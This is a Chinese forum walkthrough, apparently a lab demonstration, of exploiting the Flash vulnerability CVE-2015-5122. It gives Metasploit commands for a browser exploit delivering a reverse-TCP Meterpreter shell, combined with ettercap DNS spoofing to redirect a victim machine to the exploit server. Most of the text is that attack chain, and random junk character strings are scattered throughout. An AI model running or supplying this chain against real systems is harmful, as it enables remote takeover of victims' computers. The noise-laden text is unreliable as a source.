cve2015-5122漏洞实例演示虚拟机

admin

9 j) B; J5 z7 `( R2 a0 Y 二、cve2015-5122漏洞实例演示虚拟机 1 r! B& h5 D# @, \ K6 g2 X: ?. d

9 r$ |* r# g# d* D: _2 P

+ d- a7 I6 n# w9 V8 D) {! c6 g   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： : [: A- L! B. t: t3 {' I6 Q

( J# H& O" A, Q

) C: Q! ~) d. V5 T( K" ~ search cve-2015-5122如图：

  ) d! Z/ d- h7 A. U) }8 S ]% J

1 E+ R1 o' w) S- d, R

下面我们敲如下命令： 1 X) e; B) m- F! Z6 J9 r4 `

use exploit/multi/browser/adobe_flash_opaque_background_uaf 6 o G- H' \; m h- I" l8 X

6 ?& Y0 r, p! E6 q }9 u& x

set PAYLOAD windows/meterpreter/reverse_tcp & ~2 I T) n: S, t

0 w1 \! z, [- m set LHOST 192.168.0.109

) D2 ?* H/ }& l* o set URIPATH /                        /*根目录*/

+ F, @/ K; j- Q. T, ?: @

3 {& C/ A$ t" W' N! b( w1 ] set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 I5 w/ R4 M2 I

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 ; |- ]8 [ J% R _1 I$ F

然后show options如图： 6 s, |" X, b3 J+ q' Q7 h

4 T" V a0 a: H: m! D+ ~' v; z   ) I" {- O! T* z

" o! u! z( ]0 L! |' } 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

0 I8 f+ h: |7 v

8 t S6 b1 g3 [; F# d1 \$ ~6 h 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

% X+ _2 q' q. u Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf b4 B- M; m; z$ r6 x' o Q

( N1 N! E" [. h7 _/ K

  ) n) R% p4 o1 I v

3 _& a( e! d" U+ j9 s. Q ] 成功了，这时候我们断开ettercap，如图： " A; ]0 M" l5 R: e* G. g \

- A9 F! M3 z" ~- i6 j

4 g+ h0 ^2 L! J0 h% `  

( x& o! y3 k; B% `0 q; S+ T2 N- L

) T' O5 R) w" q1 L, E* I Screenshot如图：

  / |( {3 Z( F( \6 K8 T) R& i

" j) _3 a4 `3 A+ f; Q